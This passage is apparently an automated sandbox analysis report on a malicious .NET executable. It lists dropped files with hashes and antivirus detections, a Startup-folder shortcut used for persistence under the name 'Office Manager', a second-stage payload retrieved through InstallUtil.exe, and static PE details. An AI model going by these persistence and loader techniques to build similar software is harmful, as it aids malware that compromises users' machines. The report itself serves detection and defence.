Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.5.7.3.0.4.5.7.0.9.3.6.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.5.7.3.0.4.6.1.4.6.8.6.5.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.c.8.8.3.8.5.2.-.1.c.5.c.-.4.b.5.9.-.9.8.d.f.-.0.b.0.4.b.6.9.a.9.b.9.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.b.d.b.9.2.7.f.-.6.9.7.2.-.4.9.d.7.-.8.9.0.8.-.9.0.d.0.4.d.b.6.0.3.2.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.t.u.b.4.1.4.1._.2.0.2.4.-.1.0.-.1.6._.1.0.-.4.8...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.9.4.-.0.0.0.1.-.0.0.1.4.-.4.3.0.2.-.9.7.3.2.f.0.1.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.b.8.3.9.0.1.3.1.5.5.4.6.e.b.d.2.3.9.d.1.9.6.0.b.c.c.9.5.7.4.2.0.0.0.0.f.f.f.f.!.0.0.0.0.a.4.3.1.9.c.2.c.6.0.5.0.1.a.1.6.e.0.f.c.c.7.3.0.4.9.2.4.1.3.5.2.a.7.7.3.9.f.3.8.!.s.t.u.b.4.1.4.1._.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1CB3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Oct 16 17:24:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	35018
Entropy (8bit):	2.7105022015278237
Encrypted:	false
SSDEEP:	192:r6qWg1vXcwNOVOA5Fk5VobMefmkmK7djWScCMxTwAofywbuENbpBBnsW:uqWgKoO4Ar4snmkmLSmxtZEn4W
MD5:	904D70BC726532E5C59F9EBB67725918
SHA1:	82A87872E0E60D9C27E52FEEFFA60B784CFF45FA
SHA-256:	0A633F929562CAC18A5895763DBA069746045B9F4364AF36B9C7AE039F5481BA
SHA-512:	73D55170BEF61BA0F7E055390D763F8207F6B6D5E0BC6C1919EAE27895960553988D572CBA373BE5050D693593F15B4C27825082EAB3A276992717EFA0C17400
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g............4...........(...<...........p&..........T.......8...........T................i..........d...........P...............................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D60.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8394
Entropy (8bit):	3.695555798545746
Encrypted:	false
SSDEEP:	192:R6l7wVeJIM6QSp6YAS6Pigmf37jpDO89bNtsf09Pm:R6lXJj6P6Y96Pigmf3NNmf0Y
MD5:	92391EA06E3DEEBE20C07D6F3721D14F
SHA1:	4F723EB7EF06DDB57A46AAECAD6F6864EA5F56B6
SHA-256:	4D5A6FC9D986F52832BB3043DCE9866EA94D26294D7D2F56227730F0CED4A7E9
SHA-512:	89558F9E9F205513D0D7D9654CE4C821CFAEB1FCD3D32F58B7A9B83493802BD3AD849B57C210AD8F53E6334E5421351A63F7F06B6B560FC48C642A50991F1636
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D9F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4684
Entropy (8bit):	4.495083005847492
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMiJg77aI9a9WpW8VY05vYm8M4JEJQ0Nfk0OFFG+q87i03o0cixSGSER:uIjfMwI7IM7V15yJ/0u03j040vIJvhQd
MD5:	3381AC56816CFF96D651A61EF2AE4BA0
SHA1:	DB95E6E387E5800A691F6C8256A5688452F9E422
SHA-256:	9AAB667FCB13363ED4603DE8B1ADF22C3D922611F1A82196C5D88B49185A99DC
SHA-512:	EBAE5BA38ADA8C7F5314CEB322C6AA9E2C195B8843DCE57C073DD3BB2ADCDEB19F4C59BEB64DFDBA24FFE55B821F7E8124E2F9CC65D87F791C5A7023DE050A48
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="546266" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Office Manager\Application.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1120768
Entropy (8bit):	7.180685737683068
Encrypted:	false
SSDEEP:	24576:SjmUMPBrmM35axAiLlvySI1/vJDFBLBYcJ82mnNOt6QVqJYLkmAp984BRCqQGejK:SjmUMPBrmM35axAiLlvySI1/vJDFBLB0
MD5:	ED9393D5765529C845C623E35C1B1A34
SHA1:	D3ECA07F5CE0DF847070D2D7FE5253067F624285
SHA-256:	53CD2428C9883ACCA7182781F22DF82C38F8CC115DC014B68E32F8B1CDBF246A
SHA-512:	565F66EF604B10D5BE70920D9813E58F5BDE174D6A6D30EB8654F467775DA8A665C555B7E4127FC22F8A5A5B54466137BDE228FD932335517DD017D0EA51F3F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: jYDYjpSbvf.exe, Detection: malicious, Browse Filename: vsYkceYJOX.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~R<..........."...0......2........... ... ....@.. ....................................`.....................................O.... ..4/...................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...4/... ...0..................@..@.reloc.......`......................@..B........................H.......TQ...'...... ....x................................................s....}..........}.....#... _..B}.....(.....(.....(.......0..........r...p.(.....o......o....i(......o.....-....(5...(....o....~....%-.&~......>...s....%.....(...+....o....io....&rQ..pro..pr}..p(....r...pr}..po....o ..........o!...&....o....i(".........i~#.....(....&.{......o....io$....o%....(&.....0..s........{.....{....o'....."...B.s(...o)....{.....@.@.@(...o+....{.....{....o'....."..@A.s(...o)...

C:\ProgramData\Office Manager\Application.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\psh\lcs

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	621568
Entropy (8bit):	6.997029884762028
Encrypted:	false
SSDEEP:	6144:RZRtLeYOeiD8GwDPLdRBD/UQ7QlkjX5nelZ7p3SidaTxMNi0D8SJww2jEi6G1oOD:jRtqYXiBe9w2QlIWr32Z0PJww2jb69F
MD5:	66694C008432CC28A1869FA9E7ACBE31
SHA1:	A4319C2C60501A16E0FCC73049241352A7739F38
SHA-256:	E39E66ECBCDDA4D6F885CF9A746CD90976F88E801F8EF0768CED84497CAB1C60
SHA-512:	94E4EABB4EE94A4899037CC6DC3A1FB1FA731AB0D5C6852579FB1C7F1EDAC8EA538B132DBD6DE34DAC0D1D33E96B80910375B6171AAB8A8E27B36546CC2D2B16
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].......................e......1..>%...............................Rich...........................PE..L...i..e.................l..........X\|............@..........................p.............................................(p..<...........................P.......................................H..@............................................text....j.......l.................. ..`.data............b...p..............@....xeyirof............................@..@.lazij..............................@..@.rsrc..............................@..@.reloc..J....P... ...\..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Application.exe.log

Download File

Process:	C:\ProgramData\Office Manager\Application.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	621568
Entropy (8bit):	6.997029884762028
Encrypted:	false
SSDEEP:	6144:RZRtLeYOeiD8GwDPLdRBD/UQ7QlkjX5nelZ7p3SidaTxMNi0D8SJww2jEi6G1oOD:jRtqYXiBe9w2QlIWr32Z0PJww2jb69F
MD5:	66694C008432CC28A1869FA9E7ACBE31
SHA1:	A4319C2C60501A16E0FCC73049241352A7739F38
SHA-256:	E39E66ECBCDDA4D6F885CF9A746CD90976F88E801F8EF0768CED84497CAB1C60
SHA-512:	94E4EABB4EE94A4899037CC6DC3A1FB1FA731AB0D5C6852579FB1C7F1EDAC8EA538B132DBD6DE34DAC0D1D33E96B80910375B6171AAB8A8E27B36546CC2D2B16
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].......................e......1..>%...............................Rich...........................PE..L...i..e.................l..........X\|............@..........................p.............................................(p..<...........................P.......................................H..@............................................text....j.......l.................. ..`.data............b...p..............@....xeyirof............................@..@.lazij..............................@..@.rsrc..............................@..@.reloc..J....P... ...\..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	621568
Entropy (8bit):	6.997029884762028
Encrypted:	false
SSDEEP:	6144:RZRtLeYOeiD8GwDPLdRBD/UQ7QlkjX5nelZ7p3SidaTxMNi0D8SJww2jEi6G1oOD:jRtqYXiBe9w2QlIWr32Z0PJww2jb69F
MD5:	66694C008432CC28A1869FA9E7ACBE31
SHA1:	A4319C2C60501A16E0FCC73049241352A7739F38
SHA-256:	E39E66ECBCDDA4D6F885CF9A746CD90976F88E801F8EF0768CED84497CAB1C60
SHA-512:	94E4EABB4EE94A4899037CC6DC3A1FB1FA731AB0D5C6852579FB1C7F1EDAC8EA538B132DBD6DE34DAC0D1D33E96B80910375B6171AAB8A8E27B36546CC2D2B16
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].......................e......1..>%...............................Rich...........................PE..L...i..e.................l..........X\|............@..........................p.............................................(p..<...........................P.......................................H..@............................................text....j.......l.................. ..`.data............b...p..............@....xeyirof............................@..@.lazij..............................@..@.rsrc..............................@..@.reloc..J....P... ...\..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\246122658369

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	90904
Entropy (8bit):	7.852303682063683
Encrypted:	false
SSDEEP:	1536:COK8nP1Fbo23M68p2RzGUNHalYPWa0XVq06UJDY4gKjlxwYX/:/bdF03vpmGgHmkWa0XA0fy3KjMo
MD5:	7C984A428D3C21B348D682BF057C710B
SHA1:	443AC1FD7E9B998D31D8F12A620FFC32C44F1FAB
SHA-256:	64C52E4C155A56FC940B91B71BF0114E554CAF37E928364F50B3A0E4B7231C47
SHA-512:	8F212857A80F1E41304CFA892EBCF3E5ACEE4A2AE48D90B90FEC398D276C24F5D6F65A65671888D37A8303FAF49AD37DED06C0B8A64A48E1F57DAF2A609471BD
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-u>....k..V6....#..e...?)....^~a...b.y.}....G...1.%79.F.....W_.9Z+....]xW.._.1/...G.+.....+..&%........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office Manager.url

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\ProgramData\Office Manager\Application.exe">), ASCII text
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.7984470812868025
Encrypted:	false
SSDEEP:	3:HRAbABGQFwGZkREoMG2LENk2RMQJHn:HRYFxFiQNkQ
MD5:	1C5C0D2105718982915D88E1E34B7C24
SHA1:	ECB11DF5274A3A37C81FC19B95EC316D39BB6F03
SHA-256:	B5FD05A1A23D90DEE32A1F61158A1E0859FDE6882B289267C90845BB995B0C09
SHA-512:	9E1F86CA561C034078ACBCE22E6B3B2DC938A883F4897167C96AD7C61F28D30075D66557335825C18A00F96467FBD1DEE067BB756388BA60B21443BA964BA331
Malicious:	true
Preview:	[InternetShortcut].URL="C:\ProgramData\Office Manager\Application.exe"

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.3939761976036396
Encrypted:	false
SSDEEP:	6144:ol4fiJoH0ncNXiUjt10q0G/gaocYGBoaUMMhA2NX4WABlBuNAEOBSqa:g4vF0MYQUMM6VFYSEU
MD5:	18720D5B29A52E262CAEEE6FADE9FF33
SHA1:	3619105D8B4EE9E71F1D2A2BFC8DABACF268B4FE
SHA-256:	CC322E59B38786DE89D09DEB3838920B7AFE5796A889B8800C02345BFBB2AC64
SHA-512:	8A77C57BEAC2CB5C8195DF020CFE9C666D4509708B990A3DD7811DEA1EED06D62FF255DDDCD617D67761F405D4C9232CCAD98E56F31B2073147F4CC372F2550C
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmv..3................................................................................................................................................................................................................................................................................................................................................ ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.180685737683068
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	1'120'768 bytes
MD5:	ed9393d5765529c845c623e35c1b1a34
SHA1:	d3eca07f5ce0df847070d2d7fe5253067f624285
SHA256:	53cd2428c9883acca7182781f22df82c38f8cc115dc014b68e32f8b1cdbf246a
SHA512:	565f66ef604b10d5be70920d9813e58f5bde174d6a6d30eb8654f467775da8a665c555b7e4127fc22f8a5a5b54466137bde228fd932335517dd017d0ea51f3f8
SSDEEP:	24576:SjmUMPBrmM35axAiLlvySI1/vJDFBLBYcJ82mnNOt6QVqJYLkmAp984BRCqQGejK:SjmUMPBrmM35axAiLlvySI1/vJDFBLB0
TLSH:	E835D066F7425F27C861963146C7F33E77BCA496AA22F31FB95A942129BB3F01740342
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~R<..........."...0......2........... ... ....@.. ....................................`................................

File Icon


Icon Hash:	fefcd2d2b2b2b2b2

Static PE Info

General

Entrypoint:	0x5105fa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF53C527E [Wed May 19 00:53:18 2100 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1105a8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x112000	0x2f34	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x116000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11058c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x10e600	0x10e600	af41e717ef9ad3d4cffb1da0c0c81a31	False	0.6585670220758206	data	7.179309369290445	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x112000	0x2f34	0x3000	f24a6688b7633fad559002cae9490ff3	False	0.879150390625	data	7.478360778244307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x116000	0xc	0x200	93277f3e28c3097d65b1b664f54ba0d5	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x112100	0x28aa	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9603266090297791
RT_GROUP_ICON	0x1149bc	0x14	data	1.05
RT_VERSION	0x1149e0	0x354	data	0.4107981220657277
RT_MANIFEST	0x114d44	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
